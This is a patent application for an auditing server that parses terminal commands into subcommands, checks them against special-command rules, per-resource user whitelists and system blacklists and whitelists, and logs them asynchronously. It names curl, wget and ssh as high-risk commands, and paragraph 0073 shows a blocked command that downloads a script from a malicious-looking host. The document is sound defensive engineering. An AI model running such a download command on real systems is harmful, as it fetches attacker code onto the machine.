A terminal command security auditing method, an auditing server and a storage medium
The terminal security auditing method, which employs multi-level command inspection and asynchronous analysis, addresses the shortcomings of existing technologies in terms of protection capabilities. It enables fine-grained access control and in-depth security analysis of terminal commands, thereby enhancing security protection capabilities in cloud computing environments.
Patent Information
- Application Number
- CN202611337105.5
- Authority / Receiving Office
- CN · China
- Patent Type
- Applications(China)
- Current Assignee / Owner
- Filing Date
- 2026-08-31
- Publication Date
- 2026-11-27
AI Technical Summary
Existing endpoint security auditing solutions suffer from limited protection layers and security capabilities, making it difficult to cope with complex attack methods. Furthermore, they lack real-time interception and deep analysis capabilities, failing to meet the differentiated access control requirements in cloud computing environments.
By receiving terminal command execution requests, extracting resource context information, parsing it into subcommands, and performing multi-level command checks, combined with synchronous response and asynchronous analysis, a defense-in-depth system is built to achieve fine-grained access control and in-depth security analysis.
It enhances the flexibility and security of operation and maintenance management, can quickly identify and intercept risky commands, ensures operational efficiency and data security, and adapts to the differentiated authorization needs of complex cloud computing environments.
Smart Images

Figure CN123184902A_ABST
Abstract
Description
Technical Field
[0001] This application relates to the field of terminal command security auditing technology, and in particular to a terminal command security auditing method, an auditing server, and a storage medium. Background Technology
[0002] With the rapid development of cloud computing and container technologies, enterprise operation and maintenance environments are becoming increasingly complex. Terminal command security auditing technology has evolved from early simple command logging to device or network-level access control, and now to real-time detection of specific attack behaviors. Currently, enterprises' requirements for operational security have shifted from simple post-event auditing to a model combining in-process monitoring and post-event traceability, aiming to prevent misoperation and malicious attacks.
[0003] However, existing technical solutions suffer from drawbacks in practical applications, including limited protection layers and insufficient security capabilities. Current endpoint security auditing solutions often employ single- or double-layer protection mechanisms, such as simple blacklist / whitelist configurations, failing to form a systematic defense-in-depth system. When attackers bypass single-layer checks, the system lacks subsequent protective measures for effective interception, resulting in limited overall security capabilities and an inability to cope with increasingly complex attack methods. Summary of the Invention
[0004] One objective of this application is to provide a terminal command security auditing method, an auditing server, and a storage medium to address the technical problem of limited security protection capabilities in the prior art.
[0005] This application provides a terminal command security auditing method, comprising: receiving a terminal command execution request sent by a terminal device; extracting terminal command and resource context information based on the terminal command execution request, wherein the resource context information is used to identify the resource object to be executed by the terminal command; parsing the terminal command and splitting it into at least one sub-command; performing multi-level command checks on each sub-command sequentially based on the resource context information to obtain command check results; synchronously creating target response information and asynchronous analysis tasks based on the command check results, wherein the target response information is used to characterize whether the terminal command is executed, and the asynchronous analysis tasks are used to perform deep security analysis on the terminal command; sequentially executing each asynchronous analysis task to perform deep security analysis on the terminal command to obtain analysis results; and generating audit records based on the analysis results.
[0006] This application provides an audit server, including a memory and a processor. The memory is connected to the processor, and the processor is used to execute one or more computer programs stored in the memory. When the processor executes the one or more computer programs, the audit server implements the method described above.
[0007] This application provides a computer-readable storage medium storing a computer program, the computer program including program instructions, which, when executed by a processor, cause the processor to perform the method described above.
[0008] This application provides a computer program product, including a computer program / instructions, which, when executed by a processor, implement the steps of the method described above.
[0009] The terminal command security auditing method provided in this application embodiment can achieve the following technical effects: This application extracts resource context information from the terminal command execution request and performs multi-level command checks on the parsed sub-commands based on the resource context information, realizing fine-grained access control based on resources, improving the flexibility and security of operation and maintenance management, and meeting the differentiated authorization needs in complex cloud computing environments. Furthermore, by performing multi-level command checks on sub-commands sequentially, a systematic defense-in-depth system is constructed. This multi-layered filtering mechanism can identify and intercept risky commands at each level, enhancing the system's security protection capabilities against complex attack methods and providing a more robust and reliable security guarantee for the terminal operation and maintenance environment. Simultaneously, this application adopts a processing architecture that separates synchronous response and asynchronous analysis. By synchronously feeding back target response information, it ensures that command interception and judgment are completed in a very short time; by asynchronously executing deep security analysis tasks, time-consuming operations are placed in the background. This design ensures a fast response experience, avoids business operation lag, and achieves comprehensive and in-depth analysis of terminal commands, ensuring operation and maintenance efficiency and data security. Attached Figure Description
[0010] To more clearly illustrate the technical solutions of the embodiments of this application, the drawings used in the description of the embodiments of this application will be briefly introduced below. Obviously, the drawings described below are only some embodiments of this application. For those skilled in the art, other drawings can be obtained based on these drawings without creative effort.
[0011] Figure 1 A schematic diagram of the system architecture of a terminal command security auditing system provided in this application embodiment; Figure 2 A flowchart illustrating a terminal command security auditing method provided in an embodiment of this application; Figure 3 A functional module block diagram of a terminal command security auditing system provided in this application embodiment; Figure 4 A flowchart illustrating a multi-level command check provided for an embodiment of this application; Figure 5 This is a schematic diagram of the structure of an audit server provided in an embodiment of this application. Detailed Implementation
[0012] To make the objectives, technical solutions, and advantages of this application clearer, the following detailed description is provided in conjunction with the accompanying drawings and embodiments. It should be understood that the specific embodiments described herein are merely illustrative and not intended to limit the scope of this application. All other embodiments obtained by those skilled in the art based on the embodiments in this application without inventive effort are within the scope of protection of this application.
[0013] It should be noted that, unless there is a conflict, the various features in the embodiments of this application can be combined with each other, all of which are within the protection scope of this application. Furthermore, although functional modules are divided in the device schematic diagram and a logical order is shown in the flowchart, in some cases, the steps shown or described can be executed in a different order than the module division in the device or the order in the flowchart. Moreover, the terms "first," "second," and "third" used in this application do not limit the data or execution order, but only distinguish identical or similar items with essentially the same function and effect.
[0014] In addition to the shortcomings of the prior art pointed out in the background section, the inventors have also found that the prior art struggles to balance real-time interception performance and auditing capabilities, making it difficult to perform in-depth analysis and security auditing of complex terminal commands while ensuring a fast response experience. Furthermore, the prior art lacks resource-based fine-grained access control capabilities, failing to implement differentiated authorization for specific resource objects, and is ill-suited to the complex access management needs of cloud computing environments. To address the problems of the prior art, embodiments of this application provide a terminal command security auditing system, aiming to achieve efficient and secure auditing.
[0015] Please refer to Figure 1 , Figure 1 This is a schematic diagram of the system architecture of a terminal command security auditing system provided in an embodiment of this application. The terminal command security auditing system 100 provided in this embodiment includes a terminal device 10, a resource server 20, a configuration management terminal 30, and an audit server 40. The audit server 40 is communicatively connected to the terminal device 10, the resource server 20, and the configuration management terminal 30, respectively.
[0016] Terminal device 10 is a computer device used by maintenance personnel or users to perform maintenance operations. Terminal device 10 can be a physical device such as a personal computer, laptop, or mobile terminal, or a web terminal or virtual terminal accessed through a browser. In this embodiment, terminal device 10 is mainly used to provide a command input interface, capture user-inputted terminal commands in real time, encapsulate them as execution requests, and send them to audit server 40 to trigger the security audit process. Simultaneously, terminal device 10 receives target response information returned by audit server 40, displaying the command execution result or the reason for interception to the user; it is the initiator and result feedback end of the command audit process.
[0017] Resource server 20 is the target resource object for the actual execution of terminal commands. Resource server 20 can be a virtual machine, physical server, or container instance in a cloud environment. In this embodiment, resource server 20 hosts specific business applications and data, and is a core asset subject to audit protection. Only after a terminal command passes the security check of audit server 40 and is determined to be allowed to execute will the terminal command be forwarded by audit server 40 to resource server 20 for actual execution, ensuring the security and compliance of the asset.
[0018] Configuration management terminal 30 is a computer device with management privileges for use by system administrators. Configuration management terminal 30 provides a configuration management interface for security policies. Through this interface, administrators define and maintain security policies such as user whitelist rules, system blacklists, system whitelists, and special command security rules, and distribute rule configuration data to audit server 40, thereby achieving dynamic management and updates of the system security protection system.
[0019] The audit server 40 is the core processing node of the terminal command security audit system 100. The audit server 40 can be a standalone physical server, a server cluster composed of multiple physical servers, or a cloud server. In this embodiment, the audit server 40 is responsible for receiving execution requests from the terminal device 10, performing multi-level command checks based on the rules issued by the configuration management terminal 30, executing the forwarding (allowing) or blocking (intercepting) operation of the terminal command to the resource server 20, and notifying the terminal device 10 of the check results. At the same time, the audit server 40 performs asynchronous deep analysis and audit recording of the terminal commands to ensure that the operation behavior is traceable. It is the core processing node for realizing real-time interception and deep auditing.
[0020] This embodiment provides a terminal command security auditing method, applied to an auditing server. Please refer to... Figure 2 , Figure 2 This is a flowchart illustrating a terminal command security auditing method provided in an embodiment of this application. The terminal command security auditing method provided in this embodiment includes the following steps: S21: Receive terminal command execution request sent by terminal device.
[0021] In step S21, the terminal command execution request is a network request data packet initiated by the terminal device, containing command data and related context information that the user intends to execute. The terminal command execution request is used to transmit the user's operational intent to the audit server for security determination. When maintenance personnel or users input the terminal command to be executed on the terminal device, the terminal device generates a terminal command execution request containing that command and sends it to the audit server via a network protocol (such as TCP / IP).
[0022] Please refer to Figure 3 , Figure 3 This is a functional block diagram of a terminal command security auditing system provided in an embodiment of this application. The terminal command security auditing system is deployed on an audit server and includes a command receiving module 301, a pre-processing module 302, a command parsing module 303, a multi-level checking module 304, a synchronous interception module 305, an asynchronous analysis module 306, an audit logging module 307, a configuration management module 308, a rule caching module 309, and an audit database 310. The command receiving module 301 is responsible for receiving terminal command execution requests sent by terminal devices.
[0023] S22: Extract terminal command and resource context information based on the terminal command execution request. The resource context information is used to identify the resource object executed by the terminal command.
[0024] In step S22, the terminal command is the command string input by the user. The command receiving module 301 is also responsible for unpacking the network data packets of the terminal command execution request and parsing out the terminal command and resource context information. The resource context information includes user information, session identifier, target resource IP, resource type, and resource identifier. User information is the identity information of the operator who initiated the current terminal command operation, such as username or user ID. Session identifier is a credential or number used to identify the current operation session. The session identifier is used to associate and track a complete operation and maintenance process. In complex operation and maintenance scenarios, a user may open multiple terminal windows simultaneously to connect to the same server. The session identifier can distinguish different operation channels. Target resource IP is the IP address of the target resource in the network. Resource type is the category classification of the resource object being operated on, such as CVM (cloud server), container, and physical machine. Resource identifier is the code or name that identifies a specific resource instance, for example, such as the instance ID of a cloud server (e.g., ins-abcdefg), container name (e.g., web-pod-01), or hostname.
[0025] Please continue to refer to this. Figure 3The terminal command security audit system also includes a pre-processing module 302, which is used for pre-processing the raw command data by cleaning, decoding, and standardizing it. Specifically, the pre-processing module 302 identifies the encoding format of the terminal command (usually Base64), restores it to a readable command string, converts heterogeneous character encodings (such as GBK and ASCII) uploaded from different terminals into a unified system standard encoding (such as UTF-8), and removes abnormal control characters, invisible characters, or potential malicious injection symbols from the command string that may interfere with the command parsing logic.
[0026] It should be noted that terminal commands transmitted by terminal devices may be encoded (such as Base64), contain special control characters, or use non-standard encoding. Directly parsing these commands may lead to parsing errors or failure of subsequent security checks. Preprocessing can eliminate data noise, standardize data format, and provide clean input for subsequent command parsing.
[0027] S23: Parse the terminal command and break it down into at least one subcommand.
[0028] In step S23, the subcommand is the smallest indivisible unit of execution in the command line. Please continue to refer to [link / reference needed]. Figure 3 The terminal command security audit system includes a command parsing module 303, which recognizes the syntax structure in the command line and breaks down complex terminal commands into at least one subcommand.
[0029] In some embodiments, parsing a terminal command and splitting it into at least one subcommand includes: scanning the terminal command based on a preset lexical analysis algorithm to identify target symbols, where the target symbols are specific symbols not enclosed in quotation marks; and using the target symbols as subcommand boundaries to segment the terminal command to obtain at least one subcommand.
[0030] Specifically, the preset lexical analysis algorithm is a state machine-driven algorithm. This algorithm scans the command string of the terminal command character by character from left to right, dynamically switching the parsing state based on the scanned characters. Parsing states include normal state, single quote state, double quote state, escape state, and dollar quote state. Specific symbols are control operators used to separate commands in the command-line syntax, such as the pipe symbol (|), logical operators (|| and &&), and sequence separators (;). Target symbols are specific symbols that are not enclosed in single or double quotes during the scanning process, indicating that the symbol plays a syntactic control role in the current context, rather than ordinary string content. This algorithm can accurately distinguish between syntactic control characters and literal characters.
[0031] For example, in the command `echo "hello | world"`, the `|` inside the double quotes is a literal character and will not be recognized as a target symbol; while in the command `ls | grep test`, the `|` outside the quotes is a pipe character and will be recognized as a target symbol.
[0032] The system uses a state machine-driven lexical analysis algorithm to scan terminal commands and identify target symbols. Specifically, the state machine in the command parsing module 303 is initialized to "normal state" and scans the command string character by character from left to right. During the scan, when a single quote (') is encountered, the system jumps to the "single quote state," where characters are treated as literal characters and their variables or command substitutions are not parsed, thus protecting parameter integrity. When a double quote (") or dollar sign ($) is encountered, the system jumps to the corresponding double quote state or dollar quote state to handle environment variable expansion (e.g., $PATH) or command substitution (e.g., $(date)). When a backslash (\) is encountered, the system enters the "escape state," which causes the following special character (e.g., pipe) to lose its syntactic function and is treated only as a literal character. In the "normal state," if a pipe (|), logical operator (&&, ||), or sequence separator (;) not enclosed in quotes or subcommands is encountered, the command parsing module 303 determines that this symbol is the target symbol.
[0033] For example, if the user enters the terminal command: `echo "test;a" ; ls -l`, when scanning to `echo`, the state machine is in a normal state. When scanning the first double quote "", the state machine enters the double quote state. Then, in the double quote state, it scans for the sequence separator (;), which, because it is enclosed in quotes, is not recognized as a target character and is treated as a literal character. When scanning the second double quote "", the state machine exits the double quote state and returns to the normal state. When scanning the sequence separator after a space (;), it is now in the normal state and, since it is not enclosed in quotes, is recognized as a target character.
[0034] The system uses the target symbol as the sub-command boundary to segment the terminal command, resulting in at least one sub-command. Specifically, the sub-command boundary is the position of the split point in the command string used to separate different sub-commands.
[0035] The command parsing module 303 uses the target symbol as the subcommand boundary to segment the command string into several independent subcommands. Continuing with the example above, the terminal command `echo "test;a" ; ls -l` identifies a target symbol, namely the sequence separator (;) before the `ls` command. The system uses this sequence separator (;) as the subcommand boundary to segment the original command string into two parts: Subcommand 1: `echo "test;a"`. Subcommand 2: `ls -l`.
[0036] During the parsing process, the command parsing module 303 also uses whitespace characters as parameter separators within the same subcommand to split the command name and parameters. Each subcommand is further parsed into a two-dimensional sequence structure of "command name + parameter list" for subsequent security checks.
[0037] For another example, if the terminal command is `curl http: / / internal.api / data | grep "error">log.txt&&echo "done"`, the command parsing module 303 starts scanning the terminal command character by character from left to right. First, it identifies `curl` as the command name and `http: / / internal.api / data` as the parameter. When it encounters the symbol "|", the system recognizes it as the target symbol, determines the end of the previous subcommand, and begins parsing a new subcommand. When parsing the `grep` subcommand, upon encountering double quotes "", the command parsing module 303 enters quote protection mode, protecting the `error` within the double quotes as a parameter to prevent internal spaces from being misinterpreted as parameter separators. It continues to recognize the symbol ">" as a redirection character, identifying `log.txt` as the output target. When it encounters the symbol "&&", it recognizes it as the target symbol, splitting it into the third subcommand `echo "done"`, thus generating three subcommands as shown below: Subcommand 1: ['curl', 'http: / / internal.api / data'] Subcommand 2: ['grep', '"error"'] Subcommand 3: ['echo', '"done"'] It should be noted that complex terminal commands may contain various syntactic elements, such as pipe characters (|), redirection characters (>, >>, <), logical operators (&&, ||, ;), quotation marks (single quotes, double quotes), escape characters (\), and command substitution ($(command), command), etc. Simple string matching alone can easily lead to false positives or false negatives. Through state machine-driven lexical analysis, the command parsing module 303 can accurately identify command boundaries, extract each independent subcommand, and perform security checks on each one, eliminating security blind spots. Decomposing terminal commands into subcommands allows for precise security checks on the operation behavior of each subcommand.
[0038] S24: Perform multi-level command checks on each subcommand sequentially based on resource context information to obtain command check results.
[0039] In step S24, the multi-level command check is a rule matching process performed at multiple levels according to a preset priority order. Resource context information is a set of constraints related to command execution resources, and includes at least user identifier, resource type, and resource identifier. For example, the multi-level command check levels cover dimensions such as customized checks for specific commands, refined authorization checks based on resources, and system-level command security checks.
[0040] Please continue to refer to this. Figure 3 The terminal command security audit system also includes a multi-level inspection module 304. The multi-level inspection module 304 calls a preset rule matching engine, taking subcommands and resource context information as input parameters, and outputs the command inspection results after logical operations. Specifically, when an inspection is triggered, the multi-level inspection module 304 dynamically binds subcommands to resource context information (such as user identifier, resource type, and resource identifier) to ensure that each subsequent rule matching is performed within a specific resource scenario, meeting the requirement of isolating different resource permissions for the same user in a cloud computing environment.
[0041] During the inspection process, the multi-level inspection module 304 sequentially calls different levels of security rule bases according to a preset priority order, retrieves different security rules from them, and performs rule matching to achieve command security checks at the corresponding levels. For example, the multi-level inspection module 304 first performs command security checks for specific scenarios (such as customized rule verification for high-risk commands); then performs authorization checks based on the user-resource binding relationship (such as verifying whether the user has operation permissions for their target resource); and finally performs system-level command security checks (such as global blacklist or whitelist matching). During the inspection process, if any level determines that a sub-command violates the rules, an interception execution result and the reason for interception are generated; if all level checks pass, an allowed execution result is generated.
[0042] Multi-level command inspection aims to build a defense-in-depth system and, by introducing resource context information, breaks away from the traditional single inspection mode based solely on command content, achieving fine-grained permission control based on the association between "user-resource-command". Through the multi-level inspection mechanism, it ensures that security policies at different levels are effective, improving the comprehensiveness and accuracy of security audits.
[0043] S25: Based on the command inspection results, synchronously create target response information and asynchronous analysis tasks. The target response information is used to characterize whether the terminal command is executed, and the asynchronous analysis task is used to perform in-depth security analysis on the terminal command.
[0044] In step S25, the target response information is a notification message that is immediately fed back to the terminal device. The target response information includes execution information and interception information. Execution information indicates that the terminal command is allowed to be executed. Interception information indicates that the terminal command is intercepted during execution.
[0045] Please continue to refer to this. Figure 3 The terminal command security audit system also includes a synchronous interception module 305. The synchronous interception module 305 receives the command inspection results from the multi-level inspection module 304, generates target response information based on the command inspection results, and simultaneously creates an asynchronous analysis task. Specifically, if the command inspection result is an interception execution result, interception information is generated immediately; if the command inspection result is an allowed execution result, execution information is generated immediately. At the same time, the synchronous interception module 305 encapsulates the detailed information of the terminal command into an asynchronous analysis task and places it in a buffer queue.
[0046] S26: Execute each asynchronous analysis task sequentially to perform in-depth security analysis on the terminal commands and obtain the analysis results.
[0047] In step S26, deep security analysis is a more detailed, comprehensive, and complex data processing process that involves complex calculations, compared to the rapid inspection in the real-time interception phase, such as lexical analysis, regular expression matching, and extraction of URL parameters.
[0048] Please continue to refer to this. Figure 3 The terminal command security audit system also includes an asynchronous analysis module 306. The asynchronous analysis module 306 executes the asynchronous analysis tasks created by the synchronous interception module 305 in sequence to achieve in-depth security analysis of terminal commands and obtain analysis results.
[0049] For example, the system implements asynchronous analysis based on a producer-consumer model. The synchronous interception module 305 acts as the producer, encapsulating the command information to be processed into asynchronous analysis tasks and pushing them into the task buffer area. The asynchronous analysis module 306 acts as the consumer, sequentially retrieving asynchronous analysis tasks from the buffer area according to a preset scheduling strategy (such as First-In-First-Out FIFO). The asynchronous analysis module 306 runs on independent execution resources (such as an independent thread, independent container, or independent process), and its execution status (such as execution duration and whether it is blocked) is completely isolated from the response chain of the synchronous interception module 305.
[0050] During the asynchronous analysis phase, the asynchronous analysis module 306 performs in-depth security analysis on the terminal commands. Compared to the real-time command security check phase, which only focuses on "whether it is blocked", this phase focuses more on "information recording", such as extracting key parameters, command strings, subcommands, and reasons for blocking from the terminal commands, to obtain analysis results containing detailed audit information.
[0051] In some embodiments, the analysis results include key audit information. Each asynchronous analysis task is executed sequentially to perform in-depth security analysis on the terminal command to obtain the analysis results, including the following steps: obtaining multiple sub-commands split from the terminal command of the asynchronous analysis task; performing in-depth security analysis on each sub-command to obtain key audit information; and generating analysis results based on the key audit information corresponding to all sub-commands.
[0052] Specifically, key audit information refers to core data with audit value extracted during asynchronous analysis tasks, such as key parameters and resource paths.
[0053] The synchronous interception module 305 places the created asynchronous analysis tasks into the Channel buffer queue. The Channel buffer queue is an in-memory queue used to decouple synchronous interception and asynchronous analysis. The asynchronous analysis module 306 monitors the Channel buffer queue in real time in the background or polls it periodically, retrieving asynchronous analysis tasks to be processed from the queue according to the first-in-first-out (FIFO) principle. For the retrieved asynchronous analysis tasks, the system further parses the terminal commands they carry, obtaining the subcommands derived from the terminal commands. The asynchronous analysis module 306 performs in-depth security analysis on each subcommand. This analysis process does not involve interception judgment, but rather extracts and reconstructs data to identify and extract key audit information, such as the specific URL accessed by the curl command, the search keywords of the grep command, and the redirected file paths. The system then encapsulates the key audit information of all subcommands corresponding to the extracted terminal commands in a structured manner to obtain the analysis results.
[0054] For example, if a user wants to execute the terminal command `curl http: / / internal.api / data | grep "error">log.txt` on their terminal device, after the synchronous interception module 305 generates a target response indicating "execution allowed" and immediately sends it back to the user's terminal device, the audit server encapsulates the detailed information of the terminal command into an asynchronous analysis task and pushes it into a preset buffer queue. The asynchronous analysis module 306 then retrieves the asynchronous analysis task from the preset buffer queue in sequence. The system first parses the terminal command to obtain the subcommands `curl`, `grep`, and redirection operations. Then, it performs deep security analysis on the `curl` subcommand, extracting the key audit information "access address: http: / / internal.api / data"; for the redirection operation, it extracts "target file: log.txt". The key audit information of all subcommands is aggregated into the analysis results, ensuring that the audit log is detailed and traceable. The entire process is executed silently in the background, providing a smooth and uninterrupted user experience on the terminal side.
[0055] S27: Generate audit logs based on the analysis results.
[0056] In step S27, the audit log is a data structure entity used to store terminal commands, analysis results, and resource context information. Audit logs typically exist in the form of database table records, log file entries, or index documents, providing an immutable chain of evidence for post-incident tracing of security incidents, compliance checks, and user behavior profiling analysis.
[0057] Please continue to refer to this. Figure 3 The terminal command security audit system also includes an audit log module 307 and an audit database 310. The audit log module 307 aggregates key audit information obtained from asynchronous analysis (such as terminal commands, extracted URLs, and file paths) with resource context information (user identifier, resource identifier, and resource type) and command check results (execution allowed / blocked, and blocking reason), and encapsulates it into a complete audit log according to a preset audit log data model (such as a database table structure). The audit log module 307 then writes the encapsulated audit log into the audit database 310. During this process, the system can selectively compress, encrypt, or index the audit log to ensure data security and query efficiency.
[0058] It should be noted that Audit Database 310 is the data storage center of the terminal command security audit system, used to persistently store various core data generated during system operation. Its storage content mainly covers two dimensions: First, there's the security rule data. The system's multi-level command checks rely on various security rule sets. The audit database 310 stores and manages security rule configurations, including: preset special command security rules, user whitelist rule sets, system blacklists, and system whitelists. This security rule data is maintained by the configuration management terminal, providing the basis for the audit server's real-time command checks.
[0059] Second, audit log data. Audit database 310 is responsible for storing audit logs, which include, but are not limited to: the identity of the operating user, the original content of the terminal command, the resource object information of the command execution, the command check results (execution allowed or blocked), and key audit information extracted from in-depth security analysis. Audit log data forms the evidence chain basis for security incident tracing and compliance checks. To achieve comprehensive and multi-dimensional audit tracing, audit database 310 classifies and persistently stores audit logs through different data table structures, specifically including the following three types of key record tables: 1. Terminal Command Log Table. The terminal command log table stores the original terminal command execution request records. The terminal command log table records the context information of command execution, including but not limited to: the user identifier of the operating user, session identifier, resource type, resource identifier, original command content (in string form), command execution timestamp, and the final command check result (i.e., whether execution is allowed or blocked).
[0060] 2. Subcommand Analysis Record Table. The subcommand analysis record table stores the subcommand sequences and their in-depth analysis results after being broken down by the command parsing module. It records the internal structure of complex commands, including: the specific content of the subcommands, the execution order of the subcommands, the command check results corresponding to each subcommand, the specific triggering rules, and the reasons for interception.
[0061] 3. curl command audit table. The curl command audit table stores in-depth audit information for special commands such as curl. It specifically records high-risk data transmission commands, including key audit information such as extracted network resource addresses, request methods, proxy parameters, and domain whitelist matching results, enabling fine-grained monitoring of sensitive data transmission behavior.
[0062] In the system architecture of the terminal command security audit system provided in this application embodiment, the audit server reads security rules from the audit database during the inspection phase and writes the generated audit records into the audit database during the asynchronous analysis phase, thereby separating business logic from data storage and ensuring the efficient operation of the system and data security.
[0063] This application's embodiments extract resource context information from terminal command execution requests and perform multi-level command checks on the parsed sub-commands based on this resource context information. This achieves fine-grained access control based on resources, improving the flexibility and security of operation and maintenance management, and meeting the differentiated authorization needs in complex cloud computing environments. Furthermore, by sequentially performing multi-level command checks on sub-commands, a systematic defense-in-depth system is constructed. This multi-layered filtering mechanism can identify and intercept risky commands at each level, enhancing the system's security protection capabilities against complex attack methods and providing a more robust and reliable security guarantee for the terminal operation and maintenance environment. Simultaneously, this application adopts a processing architecture that separates synchronous response and asynchronous analysis. By immediately and synchronously feeding back the target response information after determining the command check result, it ensures that command interception and judgment are completed in a very short time. After feeding back the target response information, it asynchronously performs deep security analysis in the background, placing time-consuming operations in the background. This design ensures a fast response experience, avoids business operation lag, and achieves comprehensive and in-depth analysis of terminal commands, guaranteeing operation and maintenance efficiency and data security.
[0064] In some embodiments, the multi-level command check includes special command check, user whitelist check, system blacklist check, and system whitelist check. Based on resource context information, the multi-level command check is performed sequentially on each subcommand to obtain a command check result, including: responding to a subcommand being a preset special command type, performing a special command check on the subcommand to obtain a first-level check result; responding to a subcommand not being a preset special command type or the first-level check result being a pass result, performing a user whitelist check on the subcommand based on resource context information to obtain a second-level check result; responding to a second-level check result being a match failure result, performing a system blacklist check on the subcommand to obtain a third-level check result; responding to a third-level check result being a match failure result, performing a system whitelist check on the subcommand to obtain a fourth-level check result; and generating a command check result based on the results of each of the executed check levels.
[0065] Please refer to Figure 4 , Figure 4 This is a flowchart illustrating a multi-level command checking process provided in this application embodiment. Specifically, the preset special command type refers to command types with higher risks that are checked using special security rules, such as the curl, wget, and ssh commands. The special command check is a customized security verification performed on the preset special commands. The user whitelist check is a personalized permission verification based on resource context information. The system blacklist check is a security verification for globally high-risk commands, used to manage commands with privilege escalation vulnerabilities or high risks. The system whitelist check is a security verification for commands that are allowed to be executed by the system.
[0066] It should be noted that the execution of multi-level command checks relies on pre-configured security rules. The maintenance and retrieval of these security rules are collaboratively handled by the configuration management module and the rule caching module. The configuration management module provides a rule configuration management interface, supporting CRUD operations on special command security rules, user whitelist rules, system blacklists, and system whitelists. The rule caching module provides high-performance rule storage and query services, specifically employing a read-write lock-protected memory caching mechanism to store security rule data synchronized from the configuration management module. Administrators issue or update security rules through the configuration management module. The rule caching module periodically reloads updated security rules from the configuration management module or synchronizes changes in real time through an event-driven mechanism, ensuring that the security rules obtained by the system are the latest versions.
[0067] After the system receives the subcommand, it determines whether the subcommand is a preset special command type. Specifically, the multi-level inspection module is configured with a special command inspection engine. This engine receives the subcommand and queries the special command list stored in the rule cache module to determine if the subcommand name exists in the list. For example, taking the terminal command `curl http: / / internal.api / data | grep "error">log.txt&&echo "done"` as an example, this terminal command is split into three subcommands: `curl`, `grep`, and `echo`. It should be noted that `curl` is a preset special command. In this case, the system iterates through the first subcommand `curl`, queries the special command list in the rule cache module, and if the special command list contains the `curl` command, then `curl` is determined to be a preset special command type.
[0068] If a subcommand is a preset special command type, a special command check is performed on the subcommand to obtain the first-level check result. Specifically, the special command check engine reads special command security rules from the rule cache module, checks whether the subcommand meets the parameter requirements of the special command security rules, and obtains the first-level check result.
[0069] Special command security rules are a set of customized security rules pre-configured for preset special commands. These rules define the constraints that command parameters in preset special commands must adhere to. Specifically, administrators configure these rules through the configuration management module. The special command security rules are stored in the audit database and loaded into the rule cache module during system runtime. When the special command inspection engine identifies a subcommand as a special command type, it immediately reads the corresponding special command security rule from the rule cache module. The engine then retrieves the subcommand's command parameters, checks whether the parameters meet the parameter requirements of the special command security rules, and obtains the first-level inspection result.
[0070] In some embodiments, the preset special command type includes at least a network data transmission command, and the subcommand is a network data transmission command. The first-level check result includes a pass result and a fail result. Based on the special command security rules, the subcommand is checked to see if it meets the parameter requirements of the special command security rules to obtain the first-level check result, including: parsing the network data transmission command to obtain command parameters, which include network resource address and proxy parameters; generating a pass result in response to the network resource address meeting the format requirements and being in the preset resource whitelist; and generating a fail result in response to the network resource address not meeting the format requirements or not being in the preset resource whitelist.
[0071] Specifically, network data transmission commands include the curl command. A network resource address, or URL (Uniform Resource Locator), specifies the location of the target resource the command wants to access. A resource whitelist is a system-maintained list of allowed domain names or IP addresses.
[0072] When determining whether a subcommand belongs to a preset special command type, if the subcommand is determined to be the curl command within the preset special command type, URL verification is performed. Specifically, the system parses the command parameters from the curl command, which include the URL and proxy parameters. The system checks whether the URL meets the format requirements, such as the protocol header must be http: / / or https: / / , the domain name structure must be valid, and it must not contain illegal characters, etc.
[0073] The system then checks if the URL is in a pre-defined resource whitelist. For example, the system extracts the domain name from the URL and matches it against the resource whitelist stored in the rule caching module. If a match is found, it is considered legitimate access. For instance, if the system resolves the URL's domain name to `internal.api`, it queries the URL whitelist in the rule caching module. Since `internal.api` is an internal enterprise interface domain and is in the whitelist, the check passes. If a user attempts to execute `curl http: / / malware.com / attack.sh`, and the domain `malware.com` is not in the URL whitelist, the system will immediately block the command to prevent malicious script downloads.
[0074] If the network resource address meets the format requirements and is in the preset resource whitelist, the curl command is deemed to meet the parameter requirements of the special command security rules, and a pass result is generated. If the special command check passes, the process proceeds to the next level of user whitelist check.
[0075] If the network resource address does not meet the format requirements, or is not in the preset resource whitelist, the curl command is determined to not meet the parameter requirements of the special command security rules, and a check failure result is generated. The curl command is then intercepted.
[0076] It should be noted that if the subcommand is determined to be another command within the preset special command type, the corresponding verification function is invoked. This verification function checks whether the options and parameters of the preset special command comply with control requirements, and intercepts command lines that do not meet these requirements.
[0077] When determining whether a subcommand is a preset special command type, if the subcommand is not a preset special command type, or if the special command check meets the requirements, then the user whitelist check is performed. For details, please refer to... Figure 4For ordinary subcommands that are not preset special command types, the special command check is skipped, and the process proceeds directly to the next level of user whitelist check. For subcommands that pass the special command check, the process also proceeds to the next level of user whitelist check.
[0078] In response to a subcommand not being a preset special command type or a first-level check result being a pass, a user whitelist check is performed on the subcommand based on resource context information to obtain a second-level check result. Specifically, resource context information includes user identifier, resource type, and resource identifier. The user identifier is information used to identify the operator's identity, typically a username. Resource types include cloud servers and containers. The resource identifier is information used to identify a specific resource instance, such as, for example, a server IP address or container ID. The multi-level check module is configured with a user whitelist check engine. The user whitelist check engine performs three-dimensional permission matching based on user identifier, resource type, and resource identifier to achieve fine-grained permission control, ensuring that users can only execute authorized commands on resources they have authorized, meeting the differentiated permission management needs in a cloud computing environment. For example, for the same user A, permission configuration can be used to ensure that user A can only execute commands specified in the permission configuration in different resources. For example, in container X, user A can execute the ls and cat commands; in container Y, user A can execute the ls, cat, and vi commands; and in CVM (cloud server) Z, user A can only execute the ls command.
[0079] In some embodiments, the resource context information includes a user identifier, a resource type, and a resource identifier. The second-level check result includes a matching failure result and a matching success result. The second-level check result is obtained by performing a user whitelist check on the subcommand based on the resource context information, including: obtaining a user whitelist rule set; querying the user whitelist rule set based on the user identifier to obtain a target user rule list, which includes multiple user whitelist rules; traversing the target user rule list and checking whether there are user whitelist rules that meet the matching conditions, which include: the command in the user whitelist rule is consistent with the subcommand; the resource type in the user whitelist rule matches the resource type in the resource context information; the resource identifier in the user whitelist rule matches the resource identifier in the resource context information; and the current check time has not exceeded the validity period of the user whitelist rule; if there are no user whitelist rules that meet the matching conditions in the target user rule list, a matching failure result is generated; if there are user whitelist rules that meet the matching conditions in the target user rule list, a matching success result is generated.
